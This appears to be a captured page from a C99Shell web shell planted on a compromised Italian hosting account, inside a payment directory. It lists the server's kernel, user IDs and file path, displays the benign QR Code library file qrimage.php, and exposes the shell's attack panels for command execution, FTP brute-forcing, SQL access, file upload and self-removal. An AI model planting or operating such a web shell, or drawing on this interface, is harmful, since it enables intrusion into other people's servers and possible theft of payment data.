!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/php/phpqrcode/   drwxr-xr-x
Free 182.54 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     qrimage.php (3.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * PHP QR Code encoder
 *
 * Image output of code using GD2
 *
 * PHP QR Code is distributed under LGPL 3
 * Copyright (C) 2010 Dominik Dzienia <deltalab at poczta dot fm>
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
 */
 
    
define('QR_IMAGE'true);

    class 
QRimage {
    
        
//----------------------------------------------------------------------
        
public static function png($frame$filename false$pixelPerPoint 4$outerFrame 4,$saveandprint=FALSE
        {
            
$image self::image($frame$pixelPerPoint$outerFrame);
            
            if (
$filename === false) {
                
Header("Content-type: image/png");
                
ImagePng($image);
            } else {
                if(
$saveandprint===TRUE){
                    
ImagePng($image$filename);
                    
header("Content-type: image/png");
                    
ImagePng($image);
                }else{
                    
ImagePng($image$filename);
                }
            }
            
            
ImageDestroy($image);
        }
    
        
//----------------------------------------------------------------------
        
public static function jpg($frame$filename false$pixelPerPoint 8$outerFrame 4$q 85
        {
            
$image self::image($frame$pixelPerPoint$outerFrame);
            
            if (
$filename === false) {
                
Header("Content-type: image/jpeg");
                
ImageJpeg($imagenull$q);
            } else {
                
ImageJpeg($image$filename$q);            
            }
            
            
ImageDestroy($image);
        }
    
        
//----------------------------------------------------------------------
        
private static function image($frame$pixelPerPoint 4$outerFrame 4
        {
            
$h count($frame);
            
$w strlen($frame[0]);
            
            
$imgW $w 2*$outerFrame;
            
$imgH $h 2*$outerFrame;
            
            
$base_image =ImageCreate($imgW$imgH);
            
            
$col[0] = ImageColorAllocate($base_image,255,255,255);
            
$col[1] = ImageColorAllocate($base_image,0,0,0);

            
imagefill($base_image00$col[0]);

            for(
$y=0$y<$h$y++) {
                for(
$x=0$x<$w$x++) {
                    if (
$frame[$y][$x] == '1') {
                        
ImageSetPixel($base_image,$x+$outerFrame,$y+$outerFrame,$col[1]); 
                    }
                }
            }
            
            
$target_image =ImageCreate($imgW $pixelPerPoint$imgH $pixelPerPoint);
            
ImageCopyResized($target_image$base_image0000$imgW $pixelPerPoint$imgH $pixelPerPoint$imgW$imgH);
            
ImageDestroy($base_image);
            
            return 
$target_image;
        }
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0084 ]--